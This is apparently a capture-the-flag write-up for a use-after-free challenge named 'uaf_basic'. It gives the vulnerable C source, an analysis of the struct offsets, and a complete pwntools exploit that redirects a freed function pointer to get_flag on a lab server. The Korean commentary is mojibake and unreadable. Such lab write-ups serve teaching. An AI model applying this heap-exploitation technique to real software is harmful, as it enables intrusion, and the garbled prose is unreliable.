๋ถ์ผ : Pwnable
๐ง ๋ฌธ์
๋ฌธ์ ๋ช : uaf_basic
Use After Free ๊ธฐ๋ฒ์ ์ดํดํ๊ณ , ์ด๋ฅผ ํตํด ํจ์๋ฅผ ํธ์ถํ์ฌ ํ๋๊ทธ๋ฅผ ์ป๋ ๋ฌธ์ ์ด๋ค.
์ ๊ตฌ์ฑ์ด ๋ฌธ์ ํ์ผ๋ก ์ ๊ณต๋๋ค. ๋ก์ปฌ์์ ๋์ปค ์ปจํ ์ด๋๋ฅผ ์ฌ๋ ค ์ต์คํ๋ก์์ ์งํํ๊ณ , ๋์ผํ ํ์ด๋ก๋๋ฅผ ์๋ฒ์ ์ ์กํ๋ฉด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค. ํด๋น ๋ฌธ์ ๋ ๊ตฌ์กฐ์ฒด์ ์ดํด๋ฅผ ์ํด C ์์คํ์ผ์ ์ ๊ณตํ๋ค.
๐ง ์ ์ ๋ถ์
๋ณดํธ ๊ธฐ๋ฒ์ ์์ ๊ฐ๋ค. ๋ฌธ์ ์์ ์ฃผ์ด์ง C ์์คํ์ผ์ ๋ถ์ํด๋ณด์.
uaf_basic.c
// Name: uaf_basic.c
// Compile: gcc -o uaf_basic uaf_basic.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Student
{
char name[16];
int id;
long grade;
long age;
} __attribute__((packed)) Student;
struct Professor
{
char name[16];
int id;
long age;
} __attribute__((packed)) Professor;
struct Lecture
{
char name[22];
int id;
void (*enrolment)();
} __attribute__((packed)) Lecture;
struct Student *student;
struct Professor *professor;
struct Lecture *lecture;
void get_flag()
{
FILE *f = fopen("/home/uaf/flag", "r");
char buf[256];
if (f == NULL)
{
puts("flag.txt not found - call SCP member\n");
exit(0);
}
else
{
fgets(buf, sizeof(buf), f);
printf("%s\n", buf);
exit(0);
}
}
void menu()
{
printf("1. Student\n");
printf("2. Professor\n");
printf("3. Lecture\n");
printf("> ");
}
void student_func()
{
student = (struct Student *)malloc(sizeof(struct Student));
strcpy(student->name, "Student");
printf("Student ID: ");
scanf("%d", &student->id);
printf("Student Grade: ");
scanf("%ld", &student->grade);
if (student->grade < 1 || student->grade > 4)
{
printf("grade must be between 1 and 4\n");
exit(0);
}
printf("Student Age: ");
scanf("%ld", &student->age);
free(student);
}
void professor_func()
{
professor = (struct Professor *)malloc(sizeof(struct Professor));
strcpy(professor->name, "Professor");
printf("Professor ID: ");
scanf("%d", &professor->id);
printf("Professor Age: ");
scanf("%ld", &professor->age);
free(professor);
}
void lecture_func()
{
lecture = (struct Lecture *)malloc(sizeof(struct Lecture));
strcpy(lecture->name, "Lecture");
printf("Lecture ID: ");
scanf("%d", &lecture->id);
if (lecture->enrolment)
lecture->enrolment();
free(lecture);
}
int main()
{
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1)
{
menu();
scanf("%d", &idx);
switch (idx)
{
case 1:
student_func();
break;
case 2:
professor_func();
break;
case 3:
lecture_func();
break;
}
}
}
mainํจ์์์ ๊ฐ ๋ฉ๋ด์ ํด๋นํ๋ ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค.
๐ง ํจ์ ๋ถ์
menu 1 : student_func
menu 2 : professor_func
menu 3 : lecture_func
ํจ์ ๋ชจ๋ ๊ฐ๊ฐ malloc
์ผ๋ก ํ ๋นํ๊ณ ๊ฐ ๋ฉค๋ฒ ๋ณ์์ ๊ฐ์ ์
๋ ฅ๋ฐ๊ณ , ํจ์ ๋ง์ง๋ง์์ free
๋๋ค.
ํ์ง๋ง lecture->enrolment
์ ๊ฒฝ์ฐ ์
๋ ฅ์ ๋ฐ์ง ์๊ณ , ๊ฐ์ด ์กด์ฌํ๋ค๋ฉด ํด๋น ์ฃผ์๋ฅผ ํธ์ถํ๋ค.
๋ฐ๋ผ์, UAF ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ lecture->enrolment
์ get_flag
ํจ์ ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.
๐ง ๊ตฌ์กฐ์ฒด ๋ถ์
struct Student{
char name[16];
int id;
long grade;
long age; //Lecture + 30
} __attribute__((packed)) Student;
struct Professor{
char name[16];
int id;
long age; //Lecture + 26
} __attribute__((packed)) Professor;
struct Lecture{
char name[22];
int id;
void (*enrolment)();
} __attribute__((packed)) Lecture;
๊ทธ๋ ๋ค๋ฉด ๊ตฌ์กฐ์ฒด ๋ณ๋ก ํฌ๊ธฐ๋ฅผ ํ์ธํด์ผ ํ๋ค. ์ฐ๋ฆฌ๊ฐ ์ฌ์ฉํ ๊ณต๊ฐ์ lecture->enrolment
์ด๊ณ , ํด๋น ๋ถ๋ถ์ ์์ ์ฃผ์๋ lecture+26
์ด๋ค.
์ด ๊ฐ์ Student์ Professor์์ ๋์ผํ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ํ ๋น ๋ฐ์ ์ค์ ํด์ค ๊ฒ์ด๋ค.
student+26
์ student→grade
์ student→age
์ 4๋ฐ์ดํธ์ฉ ๋๋์ด์ ๋ค์ด๊ฐ๋ค.
๋ฐ๋ผ์ ๊ฐ ๋ฉค๋ฒ ๋ณ์๋ ์ ์๋ฅผ ์ ๋ ฅ๋ฐ๊ธฐ ๋๋ฌธ์, ์ด ๊ฐ์ ๊ณ์ฐํด์ 4๋ฐ์ดํธ๋งํผ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๊ตฌ์ฑํด์ฃผ๋ฉด ๋๋ค.
if (student->grade < 1 || student->grade > 4)
{
printf("grade must be between 1 and 4\n");
exit(0);
}
ํ์ง๋ง, student→grade
๋ 1~4์ ๊ฐ๋ง ๋ฃ์ ์ ์๊ธฐ ๋๋ฌธ์, lecture+30
๋ถํฐ lecture+33
์ ์ฃผ์๋ง UAF ์ทจ์ฝ์ ์ผ๋ก ๋จ๊ฒจ๋ ์ ์๋ค.
lecture+25
๋ถํฐ lecture+29
๋ professor+25
๊ณต๊ฐ์ธ professor→age
์์ UAF ์ทจ์ฝ์ ์ผ๋ก ๋จ๊ฒจ๋ ์ ์๋ค.
๋ฐ๋ผ์, student_func() → professor_func() → lecture_func()
์์๋ก ๊ฐ์ ์ ์ค์ ํ์ฌ get_flag
ํจ์๋ฅผ ํธ์ถํ ์ ์๋ค.
๐ง ๋์ ๋ถ์
- ํธ์ถํ ํจ์ ์ฃผ์ ํ์ธ
์ฐ๋ฆฌ๊ฐ ํธ์ถํ ํจ์๋ get_flag
์ด๊ณ , ์์ ์ฃผ์๋ 0x401236
์ด๋ค.
student_func()
๋กLecture+30 ~ Lecture+33
๋ฉ๋ชจ๋ฆฌ ์ฐ๊ธฐ
professor_func()
๋กLecture+26 ~ Lecture+29
๋ฉ๋ชจ๋ฆฌ ์ฐ๊ธฐ
lecture_func()
๋กLecture→enrolment
์ฃผ์ ํ์ธ
๐ง ์ต์คํ๋ก์
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
def student_func(id, grade, age):
p.sendlineafter(b'> ', str(1))
p.sendlineafter(b'Student ID: ', str(id))
p.sendlineafter(b'Student Grade: ', str(grade))
p.sendlineafter(b'Student Age: ', str(age))
def professor_func(id, age):
p.sendlineafter(b'> ', str(2))
p.sendlineafter(b'Professor ID: ', str(id))
p.sendlineafter(b'Professor Age: ', str(age))
def lecture_fun(id):
p.sendlineafter(b'> ', str(3))
p.sendlineafter(b'Lecture ID: ', str(id))
#p = process('./uaf_basic')
e = ELF('./uaf_basic')
p = remote('192.168.83.137', 13577)
get_flag = e.sym['get_flag']
get_flag1 = (get_flag & 0xffff)<<48
get_flag2 = (get_flag & 0xffff0000)>>16
log.info('\tget_flag :'+ hex(get_flag))
log.info('\tage_flag1 :'+ hex(get_flag1))
log.info('\tget_flag2 :'+ hex(get_flag2))
student_func(2, 4, get_flag2)
professor_func(6, get_flag1)
lecture_fun(1234)
#gdb.attach(p)
#pause()
p.interactive()
ํด๋น exploit ์ฝ๋๋ฅผ ์คํํ๋ฉด ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ค.